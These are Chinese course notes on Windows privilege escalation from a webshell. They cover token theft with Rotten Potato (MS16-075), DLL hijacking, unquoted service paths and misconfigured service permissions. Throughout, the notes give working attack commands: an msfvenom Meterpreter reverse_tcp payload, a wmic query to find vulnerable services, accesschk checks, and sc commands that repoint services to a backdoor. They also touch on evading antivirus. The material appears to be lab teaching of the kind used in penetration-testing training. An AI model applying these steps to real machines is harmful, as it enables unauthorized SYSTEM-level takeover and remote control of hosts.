必备知识点:令牌窃取配合烂土豆提权,
单纯令牌窃取:web提权或者本地提权
如果配合烂土豆提权,就需要web权限和数据库权限。配合烂土豆的就用不了本地提权了,
烂土豆的原理,
他进行提权的时候用到的是关于windows上面服务权限(例如iis,msyql等等),只有这种权限才可以,
烂土豆对比热土豆的优点
100%可靠,立即生效(不像,hot,potato那样有时候需要等windows更新结果),当时通杀所有版本。
主要集中在2018以前的版本,2018之后的版本里有几率就很小了
web层面权限提升至管理员权限,
操作过程,在webshell上面上传烂土豆,在执行烂土豆,利用窃取模块窃取到ssytem权限
先用mft生成马子出来,
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe?
然后把生成的后门通过冰蝎上传到目标主机就很好
现在查看自己的权限就只是个webshell的权限,
在webshell上直接执行马子,拿下反弹shell
之后
直接使用令牌窃取,是拿不到system的权限的,令牌窃取是需要一个足够权限的用户才可以进行,单纯的一个webshell是不可行的,
烂土豆下载:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075?
把下载好的烂土豆,上传到对方文件夹上面,
然后这个文件夹要在反弹shell那里执行
来到放有烂土豆的目录下面,发现没办法执行查看目录,这个直接用webshell连接工具查看就行
任何就直接执行烂土豆
再重复一下令牌窃取的操作
直接窃取系统权限
system权限
这个提权方法比较鸡肋,他鸡肋在目标服务器上需要安装一些特定的软件的控制权限和启用的配合,如果对方没有装,那dll劫持基本上就用不了,还需要这个软件的一些覆盖权限,
基本上windows操作系统通杀的
原理:Windows 程序(exe)启动的时候需要 DLL库的支持,这个程序在启动的时候,会默认调用一些dll库,去进行一些加载,dll库是可以实现一些功能的,如果我能实现自定义dll,就能实现控制这台执行的东西和权限,
windwos在执行dll文件的时候会有一个顺序
会先从自身目录去寻找dll文件,如果没有就去找下面的目录挨个查找
windows/system32
windwos/system
windows
过程:信息收集(收集有哪些特定软件),进程调试(分析程序在运行时调用了那些dll)执着dll并上传(制作后门dll去替换原有的dll)替换dll后启动应用程序成功
通过连接好的后门,查看桌面文件,找到了带有dll文件的东西,
用火绒剑进程查看,查看详细的信息
我们的主要看的目标是非系统文件,我找到目标的非系统的dll文件,就是在他自身文件夹里面等等文件,是我们可以操控的,别的地方比如windows之类的,根本没有办法操作,就想办法去替换他自身文件夹里面的dll文件,?
任何在mft生成出一个后门dll
然后上传到root用户下面
之后在目标靶机上操作就行了
把正常文件修改一下,把后门dll修改为正常文件的名字,保证调用的时候,调用后门文件
开启监听
之后可以通过令牌窃取,进一步提升自己的权限
直接到系统权限
然后这个提权方法鸡肋的对方,就算对面有第三方软件,还要有可以替换的权限webs hell、权限,假如所有都准备好了,也要等待对方管理员去启动这个软件,才能成功反弹shell,和接下来的提权操作,
服务默认运行的时候,大概率会是系统权限,
默认执行的都会有一个指定的文件,还会跟上命令去运行,服务一运行,可执行文件和参数都会被调用执行,里面的文件被系统权限调用去执行,他也会享有系统权限,程序在配置的时候出现不带引号的安全问题,就会出现安全问题。
有一些服务会带有一些双引号,
因为那个program哪里有一个空格,没有家双引号,系统就可能会认为在空格之后都是参数,而不是文件夹的命名,加上双引号之后就不会,只会把后面的-f作为参数。
攻击过程:检测引号服务路径(找有没有带引号的服务路径,因为带有引号才能正常的调用这个参数,就找那些没有引号的),利用路径制作文件并且上传,重启服务或者等待服务重启,调用后成功。
检测就直接复制这段字符串拿到cmd运行
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
?
他这个命令就是去调用进程服务里面执行没有调用引号的
看回显有两个地方可以操作,但是第一个不行,因为没有空格,第二个可以,有空格的存在,
老师拿本地cmd演示一下操作,把cmd移动到c://program files 这里来,拖到cmd里面
可以看到自动加了双引号,如果去掉双引号,我们在执行这条命令试试
如何把cmd移动到和/program files一个目录下面来,把cmd的名字改成program.exe文件,再去执行那条没有引号的命令
直接就可以运行那个program.exe文件
所有,如果不带有引号就直接执行木马相同的文件,我们就可以放一个木马和这个目录名字一样,去执行它;就是把后门命名为program.exe,放到c盘那个目录下面,对应测试的结果,
同样用mft生成个program.exe后门文件,然后通过后门木马,上传到目标的c盘下来
在根据测试的时候找到的不带有引号的,执行/program files文件夹的,在webshell里面启动服务,
就比如这种没有双引号的服务,启动它,用webshell就可以启动
sc start "test"? 启动服务命令
webshell就可以
直接拿下system权限
但是这个在进程崩了或者结束的时候,就不能用了,不要紧把exe文件换成一个远程后门木马或者不用一直启动的后门木马就可以了,
注意:这个提权要先检测对面服务有没有这个安全问题,服务没有双引号就符合这个问题上传之后还要执行那个服务,但是大多数都没有问题。
原理:即使正确的引用了路径,也可能存在其他的安全问题,由于错误的配置,在分配这个服务权限的时候如果没有分配好,也会造成安全问题,
过程:检测服务权限配置(看看有没有可以操作的服务配置),
---下载检测当前用户权限的:AccessChk:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk?
这个只适用于本地提权
执行命令? accesschk.exe -uwcqv "administrators" *
检测的administrators所有权的所有服务,然后就可以把administrators换成当前用户的权限,可以去操作的服务。
换成得到普通权限用户,如果是这个权限就gg,搞不了
老规格,找到自己要做测试的目标,生成马子出来
名字就命名为program.exe
---创建服务(这里只有管理员才能创建,如果是webshell估计不行):
---sc create instsrv binpath= "C:\Program Files\instsrv.exe --service -r C:\Program Files" displayname= "test" start= auto
这个创建的服务就只作为测试,刚别的我怕把我虚拟机搞崩了
替换服务的路径
sc config " 服务名字" binpath="c:\\program.exe"?
这个名字
替换成功,之后直接运行这个程序
sc start "进程名字"?
之后就接收到反弹shell
管理员权限。
总结:这些安全问题是由于网站管理员自身配置造成的,安装一些软件,软件自身配置造成的,如果没有这些,win就很难提权,
剩下两个提权没有什么意义,了解了解就行
提取环境分为web(web又分为asp,php之类,唯独jsp不需要提权)和本地
权限划分:system > administer > users > webshell权限?
本地权限:一般在内网中才会介绍,内网渗透的时候有可能通过网站渗透,也可能是拿到一个用户权限,如果不是域管理权限,域上面单纯的一个操作ftp传输的用户,这种层面的提取称为本地提权,
有些提权方法只针对部分操作系统,大部分都是win2018之前,
相关文件及后门免杀问题等,避免上传上去就被杀软杀了
fa
cai